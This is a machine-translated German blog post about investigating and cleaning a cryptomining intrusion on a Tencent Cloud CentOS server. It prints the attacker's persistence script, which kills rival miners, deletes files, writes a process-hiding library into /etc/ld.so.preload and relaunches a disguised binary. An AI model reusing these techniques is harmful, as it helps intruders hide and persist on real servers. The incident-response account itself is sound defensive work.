Teilen des Prozesses eines angegriffenen Servers

1. Server-Intrusion-Phänomen

Kürzlich scheint der Server eines Freundes (der selbst eine Website erstellt hat) angegriffen worden zu sein. Das spezifische Phänomen ist: Die Serverressource  CPU ist für lange Zeit 100 % und die Auslastung ist hoch. Der Dienst auf dem Server kann Dienste nicht normal bereitstellen.

Mein Freund hat sich eine Zeit lang darum gekümmert und es nicht gelöst. Ich begann zu denken, dass ich nicht im Sicherheitsgeschäft tätig sei, wie könnte ich das auch, aber mein Freund verlangte einen horrenden Preis, und ich senkte den Kopf vor Leben und Wirklichkeit. Lass uns anfangen.

2. Serveruntersuchung und -verarbeitung

2.1. Mögliche Gründe für Server-Hacking

  1. Server-  ssh Passwörter sind einfach einzurichten.
  2. Der Umfang der Tencent Cloud-Sicherheitsgruppe ist sehr groß.
  3. Die Pagode wird verwendet, und das Passwort des Pagodenpanels ist ebenfalls ein sehr einfaches Passwort (sollte nicht der Einbruchseingang sein).

2.2, Untersuchungs- und Bearbeitungsschritte

  1. ps -ef /  top Finden Sie den Dienst, der den meisten Prozess in Anspruch nimmt

    Problemphänomen

    ps/top Befehl wurde ersetzt.

  2. Finden Sie detaillierte Einbruchsspuren  last oder  grep 'Accepted' /var/log/secure.

    Problemphänomen

    [root@VM-12-12-centos ~]# grep 'Accepted'  /var/log/secure 
    Aug 26 21:51:37 VM-12-12-centos sshd[19822]: Accepted password for root from 34.215.138.2 port 36720 ssh2
    Aug 27 08:52:05 VM-12-12-centos sshd[3053]: Accepted password for root from 127.0.0.1 port 57534 ssh2
    Aug 27 08:58:50 VM-12-12-centos sshd[7038]: Accepted password for root from 127.0.0.1 port 57548 ssh2
    Aug 27 09:10:02 VM-12-12-centos sshd[14830]: Accepted publickey for lighthouse from 106.55.203.49 port 44204 ssh2: RSA SHA256:123456/UIbl8
    Aug 27 09:10:03 VM-12-12-centos sshd[14913]: Accepted publickey for lighthouse from 81.69.102.49 port 60820 ssh2: RSA SHA256:123456/UIbl8
    Aug 27 09:14:08 VM-12-12-centos sshd[17307]: Accepted password for root from 127.0.0.1 port 57690 ssh2
    Aug 27 09:34:22 VM-12-12-centos sshd[29150]: Accepted publickey for lighthouse from 106.55.203.55 port 38044 ssh2: RSA SHA256:123456/UIbl8
    Aug 27 09:34:23 VM-12-12-centos sshd[29233]: Accepted publickey for lighthouse from 81.69.102.60 port 51190 ssh2: RSA SHA256:123456/UIbl8
    

    Leuchtturm Tencent Cloud Lightweight Server

    Wir können hier sehen, dass es einige 境外IP 34.215.138.2 erfolgreiche Anmeldungen gibt, dies  IPsind nicht unsere normalen Anmeldungen. Im  /var/log/secure Protokoll habe ich gesehen, dass  IP 34.215.138.2 der Crack nach weniger als 500 Anmeldeversuchen erfolgreich war.

    Behandlungsmaßnahmen

    Hier machen wir gleich den ersten Schritt,

    1. Die Tencent Cloud-Sicherheitsgruppe schränkt SSH-Anmeldungen ein IP, und die vorherige Sicherheitsgruppe SSH erlaubte alle IP.

    2. Ändern Sie das SSH-ROOT-Passwort.

    3. /root/.ssh/authorized_keys Backup und leer.

      [root@VM-12-12-centos ~]# cp -rp   /root/.ssh/authorized_keys  /root/.ssh/authorized_keys.bak
      cp: cannot create regular file ‘/root/.ssh/authorized_keys.bak’: Permission denied
      

      Zu diesem Zeitpunkt sind wir auf das Berechtigungsproblem gestoßen, das später besprochen wird, da wir die Quelle eingeschränkt haben IP, damit wir uns später darum kümmern können.

  3. Sehen Sie sich einige kürzlich hinzugefügte Benutzer an

    Problemphänomen

    cat /etc/passwd

    Behandlungsmaßnahmen

    Benutzer sperren

    [root@VM-12-12-centos ~]# usermod  -L  sys1  
    
  4. Ich habe nicht vor, den Prozess hier zu finden (ich erstelle bereits ein neues System mit derselben Version, zum Kopieren  top und  ps Befehlen wird es eine Weile dauern, schauen wir uns zunächst andere an), weil ein Freund neu gestartet hat Der Server zuvor und festgestellt, dass der Server gestartet wurde. Die Last wird nach einer Weile höher sein. Ich denke, der Eindringling sollte einige Cron-Tasks und Startskripte hineinstecken.

    Problemphänomen

    zeitgesteuerte Aufgabe

    crond Beim Lesen werden Konfigurationsdateien aus den folgenden Pfaden gelesen:

    • /var/spool/cron/ , crontab -e wird von geschrieben, die Konfigurationsdatei muss keinen Benutzer angeben
    • /etc/crontab , kann nur root bearbeitet werden, die Konfigurationsdatei muss den Benutzer angeben
    • /etc/cron.d/ ,Erstellen Sie in diesem Ordner eine geplante Aufgabendatei. In der Konfigurationsdatei muss der Benutzer angegeben werden
    • /etc/cron.*

    /var/spool/cron/ Nicht gefunden

    /etc/crontab Nicht gefunden

    Aber ich  /var/log/cron sehe immer wieder, dass Aufgaben ausgeführt werden. Alle 5 Minuten.

    Aug 27 22:00:01 VM-12-12-centos CROND[16839]: (root) CMD (/sbin/httpss >/dev/null 2>&1;^M                                                                                                    )
    Aug 27 22:00:01 VM-12-12-centos CROND[16840]: (root) CMD (/usr/local/qcloud/YunJing/YDCrontab.sh > /dev/null 2>&1)
    Aug 27 22:00:01 VM-12-12-centos CROND[16842]: (root) CMD (/usr/lib/mysql/mysql;^Mno crontab for root                                                                                                   )
    
    Aug 27 22:05:01 VM-12-12-centos CROND[17486]: (root) CMD (/usr/lib/mysql/mysql;^Mno crontab for root                                                                                                   )
    Aug 27 22:05:01 VM-12-12-centos CROND[17487]: (root) CMD (/sbin/httpss >/dev/null 2>&1;^M                                                                                                    )
    

    Behandlungsmaßnahmen

    Der erste Vorgang, den wir hier ausführen, besteht darin,  /usr/lib/mysql/mysql zuerst  die Summe zu /sbin/httpss löschen . Beim Löschen wird immer noch angezeigt, dass keine Berechtigung vorliegt. Wir wussten, dass die Dateien gesperrt werden sollten, also begann ich, sie zu entsperren, und wir stellten fest, dass sie  chattr ebenfalls ersetzt und gesperrt wurden. Es kann also nicht mehr funktionieren.

    Boot-Skript

    /etc/rc.local , wir haben auch ein Skript gefunden.

    [root@VM-12-12-centos ~]# cat /etc/rc.local 
    #!/bin/bash
    # THIS FILE IS ADDED FOR COMPATIBILITY PURPOSES
    #
    # It is highly advisable to create own systemd services or udev rules
    # to run scripts during boot instead of using this file.
    #
    # In contrast to previous versions due to parallel execution during boot
    # this script will NOT be run after all other services.
    #
    # Please note that you must run 'chmod +x /etc/rc.d/rc.local' to ensure
    # that this script will be executed during boot.
    
    /usr/bin/0f4f80f9ab start
    

    Diese Datei scheint jedoch nicht zu existieren, daher haben wir sie auskommentiert.

  5. Zurücksetzen geändert  top, ps, chattr, lsattr.

    • Zuerst haben wir von derselben Versionsmaschine kopiert  chattr. lsattrDies müssen wir zuerst tun, da unsere  top und  ps gesperrt sind.

    • Ich lade die Datei in  /tmp das Verzeichnis hoch, erhöhe dann die ausführbaren Berechtigungen und  /usr/bin/chattr entsperre sie dann zuerst.

      /tmp/chattr -ai /usr/bin/chattr
      
    • Nach der Ausführung wurde festgestellt, dass es immer noch nicht ersetzt werden konnte  /usr/bin/chattr. Am Ende dauerte es eine Weile, bis mir klar wurde, dass der Eindringling möglicherweise nicht nur die Datei sperrt, sondern sie auch selbst sperrt  /usr/bin/.

    • Verzeichnis entsperren

      /tmp/chattr -ai /usr/bin/
      
    • Erst dann kann es  /usr/bin/chattr ersetzt werden.

    • Als Nächstes haben wir   die Summe  wiederhergestellt top und  .pslsattr

    Teil-Screenshot

3. Die Punkte, die diese Invasion braucht, um Inspiration zu bringen

  1. ps 、top 、chattr 、lsattr

    In dem Szenario, in dem diese Befehle ersetzt werden und wir wiederherstellen möchten, dies aber nicht kann, können wir dieselben Befehle derselben Version des Computers kopieren und in anderen Verzeichnissen ablegen und diese Befehle verwenden, um den Eindringling davon zu befreien, die Dateien zu ersetzen und zu sperren . Beachten Sie, dass einige Eindringlinge nicht nur auf Dateiebene, sondern auch auf der Verzeichnisebene der aktuellen Datei sperren. Ich war vorher eine Weile verwirrt darüber.

  2. Dateiinhalt ausgeblendet

    Oben habe ich und cat ausgeführt,  um  die Datei unten crontab -l anzuzeigen  . /etc/cron.d/Es wurde festgestellt, dass die Datei keinen Inhalt hat.

    Tatsächlich weiß ich nicht, welche Sonderzeichen verwendet werden oder was verborgen ist. Tatsächlich gibt es geplante Aufgaben.

    Beispiel:

Wie führt diese Konfiguration dazu, dass cat/more sie nicht lesen kann? Ich habe es mir heute noch einmal angesehen und diese Datei kann als Datendatei angesehen werden, da nach der Überprüfung der Datei das Dateiattribut „Daten“ lautet. Dann enthält die Datei spezielle Charaktere. Infolgedessen ist es verborgen. Ich habe hier  die Einzelheiten des Prinzips zum Auffinden versteckter Zeichen beim Servereinbruch  erklärt .

  1. eines der Skripte.

    [root@VM-12-12-centos etc]# cat /.Recycle_bin/_bt_etc_bt_.sftp_bt_.sh_t_1661768469.9859464 
    #!/bin/sh
    while test 1 = 1
    do
    sleep 30
    pkill -f main
    killall main
    killall sprshduerjsaia
    pkill -f sprshduerjsaia
    killall dr64
    pkill -f dr64
    killall .report_system
    pkill -f .report_system
    killall sshc
    pkill -f sshc
    pkill -f memory
    killall memory
    killall warmup
    killall koko
    killall kthreaddk
    killall systemc
    killall cront
    killall xm64_linux
    killall /var/tmp/j/./intelshell
    pkill -f dos32
    pkill -f dos64
    pkill -f .name
    pkill -f /usr/sbin/dbus
    pkill -f systemd-boot-check-no-failures
    killall .report_system
    pkill -f .report_system
    pkill -f keep-alive
    pkill -f linu
    pkill -f zapppp
    killall [scan]
    killall [ext4]
    pkill -f xm64_linux
    pkill -f ddrirc
    killall ./-bash
    pkill -f ./-bash
    killall kworkers
    killall dbus
    pkill -f biden1
    pkill -f cpuminer-sse2
    killall work64
    pkill -f work64
    killall work32
    pkill -f work32
    killall aarch12
    pkill -f aarch12
    killall bash1
    pkill -f bash1
    killall intelshell
    pkill -f intelshell
    killall heaven
    pkill -f heaven
    killall .syst3md
    pkill -f .syst3md
    pkill -f apachelogs
    killall .meinkampf
    pkill -f .meinkampf
    killall xri
    pkill -f xri
    killall koko
    pkill -f koko
    killall work32-deamon
    pkill -f work32-deamon
    killall work64 -deamon
    pkill -f work64 -deamon
    killall secure.sh
    pkill -f secure.sh
    kkillall auth.sh
    pkill -f auth.sh
    killall autoupdate
    pkill -f kworkers
    pkill -f autoupdate
    killall ld-linux
    pkill -f ld-linux
    pkill -9 Donald
    killall -9 Donald
    pkill -f /usr/local/bin/pnscan
    pkill -f /usr/bin/biden1
    killall /usr/bin/biden1
    killall r
    killall trace
    pkill -f minerd
    killall minerd
    pkill -f xm64
    killall xm64
    pkill -f sysdm
    killall sysdm
    pkill -f syst3md
    killall syst3md
    pkill -f xrig
    killall xrig
    pkill -f busybox
    killall busybox
    pkill -f joseph
    killall joseph
    pkill -f osama
    killall osama
    killall daemon
    pkill -f obama1
    killall obama1
    pkill -f kswapd0
    killall kswapd0
    pkill -f jehgms
    killall jehgms
    pkill -f tsm
    killall tsm
    pkill -f rig
    killall rig
    pkill -f xmr
    killall xmr
    pkill -f playstation
    killall playstation
    pkill -f ld-linux-x86-64
    killall ld-linux-x86-64
    pkill -f ruckusapd
    killall ruckusapd
    pkill -f run64
    killall run64
    pkill -f pwnrig
    killall pwnrig
    pkill -f phpupdate
    killall phpupdate
    pkill -f sysupdate
    killall sysupdate
    pkill -f phpguard
    killall phpguard
    pkill -f firstpress
    killall firstpress
    pkill -f zerocert
    killall zerocert
    pkill -f masscan
    killall masscan
    pkill -f -bash
    pkill -f spreadQlmnop
    killall spreadQlmnop
    killall -bash
    pkill -f cnrig
    killall cnrig
    pkill -f netvhost
    killall netvhost
    pkill -f kthreadds
    killall kthreadds
    pkill -f kthreadd
    killall kthreadd
    pkill -f kdevtmpfsi
    killall kdevtmpfsi
    pkill -f linuxservice
    killall linuxservice
    pkill -f rtmonitor
    killall rtmonitor
    pkill -f dev
    killall dev
    pkill -f xmrig
    killall xmrig
    pkill -f master
    killall master
    killall sysmd
    pkill -f sysmd
    pkill -f sendmail
    killall sendmail
    pkill -f ld-musl-x86_64.
    killall ld-musl-x86_64.
    killall watchdog
    pkill -f watchdog
    pkill -f 32678
    killall 32678
    killall dhpcd
    pkill -f dhpcd
    killall linux_amd64
    pkill -f linux_amd64
    killall xredis
    pkill -f xredis
    killall Linux2.6
    killall .chornyd
    pkill -f .chornyd
    killall Opera
    pkill -f Opera
    killall libertyd
    pkill -f libertyd
    killall rcubind
    pkill -f rcubind
    killall clamscan
    pkill -f clamscan
    killall pnscan
    pkill -f pnscan
    killall zzh
    pkill -f zzh
    killall bioser
    pkill -f bioser
    rm -rf /root/.configrc/
    rm -rf /tmp/.X26-unix/
    rm -rf /tmp/.bash/
    rm -rf /root/.bash/
    rm -rf /root/.cache/
    rm -rf /tmp/.cache/
    rm -rf /dev/shm/.ssh/
    rm -rf /etc/.etcservice/linuxservice
    rm -rf /etc/.vhost/netvhost
    rm -rf /tmp/up.txt
    rm -rf /var/tmp/.update/
    rm -rf /var/tmp/.systemd/
    rm -rf /usr/sbin/.bash./.bash/
    rm -rf /etc/master
    rm -rf /usr/bin/busybox
    rm -rf /bin/sysmd
    rm -rf /tmp/.mx/
    rm -rf /dev/shm/.mx/
    rm -rf /usr/bin/xrig
    rm -rf /etc/32678
    rm -rf /root/c3pool/
    rm -rf /usr/bin/.sshd/
    rm -rf /tmp/div
    systemctl stop c3pool_miner.service
    systemctl stop pwnriglhttps.service
    systemctl stop cryto
    systemctl stop scan
    systemctl stop bot
    systemctl stop myservice.service
    systemctl stop netns.service
    systemctl stop cryptsetup.service
    echo /usr/local/lib/libprocesshider.so > /etc/ld.so.preload
    lockr +ai /etc/ld.so.preload >/dev/null 2>&1
    chmod 777 /usr/lib/mysql/*
    /usr/lib/mysql/./mysql
    done
    

    /etc/ld.so.preload Wir können sehen, was dieses Skript tatsächlich ständig ändert  . Und schließen Sie einige Scan-Software und Systemdienste.

    Während des Ladevorgangs der dynamischen Linkbibliothek des Linux-Betriebssystems liest der dynamische Linker den Wert der Umgebungsvariablen LD_PRELOAD und den Dateiinhalt der Standardkonfigurationsdatei /etc/ld.so.preload und lädt die Lesedynamik vor Link-Bibliothek. Auch wenn das Programm nicht von diesen dynamischen Link-Bibliotheken abhängig ist, werden die in der Umgebungsvariablen LD_PRELOAD und der Konfigurationsdatei /etc/ld.so.preload angegebenen dynamischen Link-Bibliotheken dennoch geladen, und ihre Priorität ist höher der durch die Umgebungsvariable LD_LIBRARY_PATH definierten Linkbibliothekssuche. Die Dateipriorität des Pfads ist höher, sodass er vor der vom Benutzer aufgerufenen dynamischen Bibliothek geladen werden kann.

    ——Ein zitierter Absatz aus „Vorsicht vor Backdoors Using Linux Preloaded Malicious Dynamic Link Libraries“

    Ich habe die Datei gelöscht  /usr/local/lib/libprocesshider.so und dieser Fehler wird jedes Mal gemeldet, wenn ich den Befehl ausführe.

    Nachdem ich die Datei gelöscht hatte  /etc/ld.so.preload , stellte ich fest, dass dies nach einer Weile immer noch angezeigt wurde. Ich schaute mir die Datei noch einmal an  /etc/ld.so.preload und sie wurde erneut geschrieben  /usr/local/lib/libprocesshider.so . Ich vermutete, dass es geplante Aufgaben gab, suchte aber eine Weile nach den geplanten Aufgaben, aber Ich konnte sie immer noch nicht finden. Als ich später den abnormalen Prozess überprüfte, sah ich diesen Prozess

    Derjenige, der dieses Skript gefunden hat, hat den oben genannten Inhalt in einer Schleife ausgeführt. Nachdem Sie den Prozess beendet haben, löschen Sie das Skript.

4. Einige Enthüllungen darüber, dass der Server dieses Mal angegriffen wurde

  1. Nutzen Sie die Sicherheitsgruppe des Cloud-Anbieters sinnvoll aus. Für einige wichtige Häfen sollten die Abstandsregeln so gering wie möglich sein/

  2. Einige serverbezogene Passwörter versuchen, die Komplexität zu erhöhen.

  3. Erhöhen Sie die Überwachung einiger Schlüsseldateien. (Überwachen Sie den MD5-Wert mithilfe einer Überwachungssoftware.)

    • /etc/passwd
    • /etc/shadow
    • /etc/group
    • /root/.bash_history
    • /root/.ssh/authorized_keys
    • /etc/ssh/sshd_config
    • /etc/profile
    • /var/spool/cron/root
    • /etc/crontab
    • /etc/ld.so.preload
    • /etc/rc.local
    • lsof
    • PS
    • netstat
    • Spitze
    • ls
    • pstree
    • zuletzt
    • Geschichte
    • Sudo
    • Passwort
    • chattr
    • lsattr
  4. Nachdem der Server angegriffen wurde, müssen wir das Beste tun.

    Host Security Linux Intrusion Troubleshooting-Ideen-Troubleshooting-Document Center-Tencent Cloud

    Lösungen für ECS-Instanzen, die mit Trojaner-Viren infiziert sind_Cloud Server ECS-Alibaba Cloud Help Center

    1. Wenn der Server über eine offene SSH-Remote-Anmeldung verfügt, können Sie Einschränkungen für die Anmeldung festlegen (Sicherheitsgruppe oder Dienst) und nur Ihre eigenen zulassen IP. Suchen Sie nach detaillierten Einbruchsspuren  last oder grep 'Accepted' /var/log/secure

      /root/.ssh/authorized_keys /etc/passwd Diese Dateien können auch angezeigt werden. Sperren Sie einige neu erstellte Benutzer.

    2. Wenn der Server das externe Netzwerk schließen kann, schließen Sie das externe Netzwerk. Unter den Einstellungen auf Sicherheitsgruppenebene oder Routing oder NAT.

    3. Überprüfen Sie zunächst  ps/top , ob der Befehl manipuliert wurde, und kopieren Sie ihn in diesem Fall von anderen normalen Maschinen auf den Server. Führen Sie dann die Ausführung aus, um den abnormalen Prozess anzuzeigen. Überprüfen Sie außerdem,  /etc/ld.so.preload ob es manipuliert wurde. Wenn dies der Fall ist, denken Sie daran, den darin enthaltenen Inhalt zu löschen und dann die entsprechende Datei zu löschen oder umzubenennen.

      Wenn Sie auf das Problem stoßen, dass die Datei während der Verwendung nicht gelöscht oder geändert werden kann, wenn Sie sie verwenden müssen und  chattr -ia 文件名 sie  chattr auch geändert wird, müssen Sie sie von einem anderen Computer kopieren. Dann wiederherstellen.

    4. Wenn das Obige nicht gefunden wird, können Sie  netstat den abnormalen Prozess abfragen, indem Sie die abnormale Verbindung indirekt anzeigen.

    5. Überprüfen Sie den Startvorgang und  crontab den zugehörigen Inhalt.

    6. Suchen Sie nach abnormalen Prozessen.

Das Obige ist der Verarbeitungsprozess dieser Invasion und einiger kleinerer Erkenntnisse, die wir erhalten haben, und wir werden weiterhin neue hinzufügen, sobald wir mehr erfahren.

Je suppose que tu aimes

Origine blog.csdn.net/xv7676/article/details/130527828
conseillé
Classement